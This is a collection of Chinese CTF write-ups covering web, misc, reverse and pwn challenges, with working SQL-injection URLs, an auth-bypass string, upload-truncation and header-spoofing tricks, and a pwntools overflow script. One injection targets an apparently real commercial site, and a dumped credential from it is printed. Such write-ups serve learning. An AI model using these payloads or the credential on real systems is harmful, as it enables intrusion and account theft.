<?php
function encode($str){
$_o=strrev($str);
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c;
}
return str_rot13(strrev(base64_encode($_)));
}
function decode($string){
$string=base64_decode(strrev(str_rot13($string)));
for($_0=0;$_0<strlen($string);$_0++){
$_c=substr($string,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_.$_c;
}
$string=strrev($_);
return $string;
}
$string='iEJqak3pjIaZ0NzLiITLwWTqzqGAtW2oyOTq1A3pzqas';
echo decode($string);
?>
拿到这题,用wireshark打开之后,右键追踪了一下第一个包的tcp流,鼠标拖到最下面,居然有收获
压缩包啊
赶紧就把它提取出来
(关于提取方法,最好是先把以原始数据文件形式保存,然后用十六进制编辑器来提取,也有一个偷懒的办法,就是用foremost直接提取,不过有些时候提取没有手工效果好,这里还因为它提取出来的压缩包里额外多了一个文件,所以是不可以的)
提出来之后,稍微修复一下,提示文件格式损坏,我就没办法了,后来龙神说用zip修复工具,就下了一个(可以直接百度搜到),工具处理之后就好多了
继续解压之路吧,没想到有密码,试了一下伪加密也不行,这里有坑,如果输任意字母的话,不会提示密码错误,但是flag.Txt 内容就是乱码,像这样
原因我也不知道
之后就是找密码的过程了,一开始以为是爆破,于是爆破6位数字,但没结果
实在没办法了,还在kali里面用查字符串工具在原文件里查字符串,想要找密码也是够了,后来发现
然后龙神想到可以在源文件里过滤一下这种http的包,结果是很讽刺的
我们走了多少弯路。。
追踪了下secret的tcp流,得到
卒……………….
最后再说一下感受,好的工具真重要
又重新按照之前的过程做了一遍这题,但是,做不出来了,修复压缩包的时候总是修复不好,没办法,求助,明神说中间有两行 PK,删掉下面那行就好了,神奇的思路,我也不知道为什么
#!/usr/bin/python
# -*- coding:utf-8 -*-
# 有一点没考虑,就是明文数字的存在,但是答案出来了,就这样吧
import md5
import string
for i in string.uppercase:
for j in string.uppercase:
for k in string.uppercase:
a='TASC'+i+'O3RJMV'+j+'WDJKX'+k+'ZM'
b=a
c=md5.md5(a).hexdigest()
if(c[0:5]=='e9032'):
print c
#!usr/bin/python
#-*- coding:utf-8 -*-
file_a=open('mi.txt','rb')
file_b=open('mingwen.txt','rb')
a=file_a.read()
b=file_b.read()
s=''
for i,j in zip(a,b):
s+=chr(ord(i)^ord(j))
print s
乍一看这题目,感觉有点熟悉,以前好像看过这样题目的wp,于是搜了一下
http://drops.wooyun.org/tips/4070
思路有点不一样
用winhex查看一下图片,发现最后有 PK 还有一张图片的名字 nvshen.jpg
于是拿foremost去自动提取,然而居然没结果,怎么会没结果呢,一定是有一个压缩包啊,没办法只好手工提取,winhex查找16进制:504B0304 (zip文件头是504B0304,可以临时找两个zip文件看,不用记)结果,没找到。。。。。。。。。
那就换个思路,找图片的结束部分,下几张gif图片比对一下,搜了下 003B,
应该就是这里了,但是文件头不是PK,先弄下来再说
之后找了几个zip文件对比着把弄下来的文件修复了头部,然后解压
提示有密码,那就把刚刚看到的那个 love 输进去试试,然后,图片就出来了,之后就没什么了
这题的提示很多,再根据密码重置1 ,还是比较好做的
第一个提示说管理员邮箱很容易找到,在源代码里就找到了管理员邮箱
之后说linux vi编辑器,异常退出之后会留下备份文件,查了一下应该是原来的文件名后面加上 .swp
然后根据密码重置1 的思路,把路径改为
即可得到内容,这里看因为编码问题是乱码,那就抓个包,在抓包工具里看
对邮箱的限制
对密码的要求,等于0而且长度为10
写了十个0,顺利拿到flag
flag:nctf{thanks_to_cumt_bxs}
这题想复杂了,直接盲注就好了
http://www.backstagecommerce.ca/services.php
?id=4 and 1=2 UNION SELECT 1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from users -- -
注出来是这个,把密码MD5就可以了
marketing:BSCmarketing24
这题给我的启示就是先盲注,不行的话再按库,表,列来
常见表:admin user users
常见字段: user username pass password
flag:nctf{f3d6cc916d0739d853e50bc92911dddb}
见网址
Key: ntcf{union_select_is_wtf}
打开之后,有一大串符号,应该知道是jsfuck了,可以直接在控制台下运行,
得到这个就可以访问了
发现
那就应该是在请求的头部有信息
在这儿就不会了
后来经过龙神指点,又百度了下 bash 查看历史
然后找到
http://www.cnblogs.com/h2-database/archive/2012/07/04/2583318.html
于是把路径改成
然后再改下路径
下载之后解压就完了,没有什么难点
flag :nctf{bash_history_means_what}
并不知道怎么做
一开始找到了php的反序列化函数说明,还准备自己手动来一下,不过应该一开始思路就错了
搜了一下,居然发现了原题,http://drops.wooyun.org/papers/660
根据这个方法,我去做了下,而且是无脑的把一串问号换成了 * ,生成反序列化的串之后怎么也不对
明神说肯定不对啊,他那写的是 **** ,但其实不是啊,那个只是不让你看见而已。。
顿时觉得自己傻帽了,但是又不知道怎么能够知道secret的值,要是知道不就做出来了吗
明神说应该是 php的引用,也就是应该写成这样:
$a->enter=&$a->secret;
PHP 的引用允许你用两个变量来指向同一个内容,这样就好办多了
(对了,不用进行url编码)
Flag :nctf{serialize_and_unserialize}
之前一直放着,不懂怎么做
今天又过了一遍,就出来了
首先按默认账号 ctfuser 密码 ctfuser 提交一下
注意到有一个参数,urldecode之后再base64decode,发现是ctfuser
试了一下直接把参数改成 admin base64之后再urlencode,把账号改成admin
但是发现账号栏是只读的
那只有抓包来改改试试了
需要修改的地方如下
然后发送就得到了flag
Flag :nctf{reset_password_often_have_vuln}
继续龙神的指导
注入,还给了源码,那就分析吧
只是把输入的参数直接拿过去,进行sql语句查询,没有对输入的参数进行过滤
因为密码不知道,所以就要想办法使其忽略密码,就是把密码那儿给绕过,通过观察可以知道,可以让其只判断user是否为admin,后面的给注释掉,也就是给username那框赋值为:
admin') -- - --是注释,为什么这么写,是因为这是sql风格的注释
提交即可
flag:nctf{ni_ye_hui_sql?}
没什么思路,在fiddler里把filename改成各种名字
我提交a.jpg
提交 a.php
不行
龙神说截断,我就试了
a.php jpg
a.jpg php
a.php.jpg
a.jpg.php
依然不行
再之后龙神说改16进制,空格改成 00,这样可以截断,
到最后,我才知道自己改错了地方,不是filename,而是改filepath下面的那行,具体原理我也不知道,这里有介绍过程:http://www.myhack58.com/Article/html/3/8/2013/36507.htm
然后改的成果是这样的
flag:nctf{welcome_to_hacks_world}
(这题好像不能这么做了,出不来flag,就看看思路吧)
经过前面的 你从哪里来的指点,想到了应该改一下referer,
这个东西是只有直接点击那个链接才会出现的,如果没有的话,自己再加一个
之后还是不行,当然不行,不能两道题都出一样吧,后来龙神说X-forwarded-for
然后就去查了一下,发现了可以进行ip伪造
http://www.myhack58.com/Article/html/3/7/2014/41725.htm
原链接讲的是用插件来伪造的,其实只要加一句话就够了,这里我们要根据题目伪造本地登录,那就还是127.0.0.1
于是最后应该把请求改成这样
提交也就拿到了flag
Flag:nctf{happy_http_headers}
坑,坑,坑
题目看着很简单,不让等于这个,又让等于这个。。尴尬症都犯了
明神说url编码,传输过去默认会解码一次,也就是说你需要把要传的值url编码两次
你要传的值是 hackerDJ,感觉这里又是一个坑,因为url编码一般是不会对字母转换的,这里就要手工来了……….
类似于这样的东西,手工之后是这样的:
%68%61%63%6b%65%72%44%4a
这样之后再拿工具来urlencode一次:
%2568%2561%2563%256b%2565%2572%2544%254a
把这个传过去就OK了
做这个做的郁闷……………之后又听说只对一个字母做变换就好了…
这道题主要是截断,截断可以用 %00 . ./ /. 空格什么的
具体参考http://www.2cto.com/Article/201502/377462.html
然后传的变量还必须是数组类型的,因为如果截断的话,你要传的值就不是一个了,变成了两个,如果不是数组形式的话,只能把前面的传过去,后面的根本没过去
比如一种形式:nctf[]=1.#biubiubiu
flag:nctf{use_00_to_jieduan}
这题我完全不会,之后看了龙神的wp,我就大概写一下过程
这是原页面,既然有id=1,那就试试 0 2什么的
发现2有些古怪
Gbk注入
然后就是套路了
http://115.28.150.176/sqli/index.php
?id=1%df%27 and 1=2 union select 1,2 --+- 加 and 1=2 据说是为了让只执行后面的
只有1,2是回显的
http://115.28.150.176/sqli/index.php
?id=1%df%27 and 1=2 union select 1,database() --+- 确定数据库 database() 是一个函数
http://115.28.150.176/sqli/index.php
?id=1%df%27 and 1=2 union select 1,table_name from information_schema.tables where table_schema=0x73716C6931 --+-
根据数据库把表注出来 0x73716C6931是数据库名的16进制(不知道为什么)
Information_Schema.Tables 这里存放的是数据库的所有表的元数据信息
http://115.28.150.176/sqli/index.php
?id=1%df%27 and 1=2 union select 1,column_name from information_schema.columns where table_schema=0x73716C6931 --+-
根据数据库再把列注出来
Information_Schema.Columns 这个是存放管理列的信息了
http://115.28.150.176/sqli/index.php
?id=1%df%27 and 1=2 union select 1,fl4g from flag --+-
然后就可以注出flag(现实中应该是用户名,密码)
Flag: nctf{gbk_3sqli}
我一开始的思路是这样的
找到这个
然后试了一下,最多只有这几个有内容
再之后就没思路了,
龙神告诉我是php msql 精度问题
于是试了试把1024 改成 1024.000000000
不行就在后面又加了一个1,结果
很好很好,后来试了 1024.1也可以
Flag:nctf{query_in_mysql}
虽然提示不让下音乐,但我还是下载了音乐,并且还听了好几遍………..
龙神说看源码的下载链接是base64,然后解出来就是那两个歌的名字
到这里我居然还没思路………龙神无奈的说换成download.php试一下
于是………..就下到了这个
再换成hereiskey.php,答案就出来了
这思路,真厉害
Flag:nctf{download_any_file_666}
把过多的关注点放在了源码上,而没有去注意网络,其实你看到网址变了,web9都变成web8了,那很容易就会想到把firebug打开看一下发生了什么
所以当没思路时,关注点要放宽一点
当你看到flag时,如果不着急,也可以看看为什么会这样,302的重定向问题,涉及到了网络劫持,可以看一下百度百科
Flag:
| nctf{this_is_302_redirect} |
我以为我都试过了,但其实没有…….
可能是试了几次然后就放弃了,不知道
文件包含总结网址
http://drops.wooyun.org/tips/3827
利用的是
然后得到一段base64,解密之后是判断的源码
可以看到过滤了 ../ tp input data
Filter没有过滤,那么就得到flag
flag:nctf{edulcni_elif_lacol_si_siht}
这题跟我的习惯有点关系吧,我一般直接把网址拖过去,火狐就直接打开了,但是如果这样,
把fiddler打开,设置成请求前拦截
可以对比一下差别:
这个就让我把referer给忽略掉了,之后又是一顿查怎么伪造身份,方向就跑偏了
习惯在这儿害死人啊,不过说到底还是基础不扎实……….
改成这样就好了
以后还是把flag附在最后吧,以防以后有用……
flag:nctf{http_referer}
我没思路,队友说 QNKCDZO 的MD5值是0E 开头的,于是秒懂,因为比较的是两个串 但是可以解析成数字,也就是说,结果都是0.。。
于是去找md5值前两位是0E 的字符串,一开始找到这个:
但放上去居然不对,提示我false,我就不理解了
之后又把 QNKCDZO 的MD5值搜了一下,然后就找到了
http://www.4byte.cn/question/17255/why-md5-240610708-is-equal-to-md5-qnkcdzo.html
思路很好
层层递进
没思路,小伙伴今天告诉我了
链接在此
汇编代码慢慢去看,理清思路,还是可以理解的
理清思路,其实很简单,就是把数组跟循环变量异或之后输出就可以了,下面上脚本
# !python3
# coding:utf8
aa = [0x67,0x6e,0x62,0x63,0x7e,0x74,0x62,0x69,0x6d,0x55,0x6a,0x7f,0x60,0x51,0x66,0x63,0x4e,0x66,0x7b,0x71,0x4a,0x74,0x76,0x6b,0x70,0x79,0x66]
str1 = ""
for i in range(len(aa)):
str1 += chr((i+1)^aa[i])
print(str1)
flag:flag{read_asm_is_the_basic}
反编译出来写一个解密函数
def de(message):
message = message.decode("base64")
s = ''
for i in message:
x = (ord(i)-32) ^ 32
print(chr(x))
return s
但是这样出来结果不对:nctf{d3c0mpil1n9y}
有三个不可见字符,考虑一下爆破
import string
dic = string.printable[:-6]
for i1 in dic:
for i2 in dic:
for i3 in dic:
str1 = "nctf{d3c0mpil1n9" + i1 + i2 + "y" + i3 + "}"
if encode(str1) == correct:
print(str1)
得到结果
flag:nctf{d3c0mpil1n9_PyC}
# !python3
# coding:utf8
# 用IDA得到两个变量的偏移,差值就是要填充的长度
# v5 输入的名字 bp-20h
# v6 生日 bp-18h
from pwn import *
#conn = remote("115.28.79.166",5555)
conn = process("./test")
payload = 'a'*8 + p32(1926)
conn.recvuntil("What\'s Your Birth?\n")
conn.sendline("11")
conn.recvuntil("What\'s Your Name?\n")
conn.sendline(payload)
conn.interactive()
应该是这样的,环境挂了,改天看看flag是什么
最后的话。。
往上面传图片是个累活。。
然后还剩:Vigenere
希望大神可以帮忙看看,给点思路。。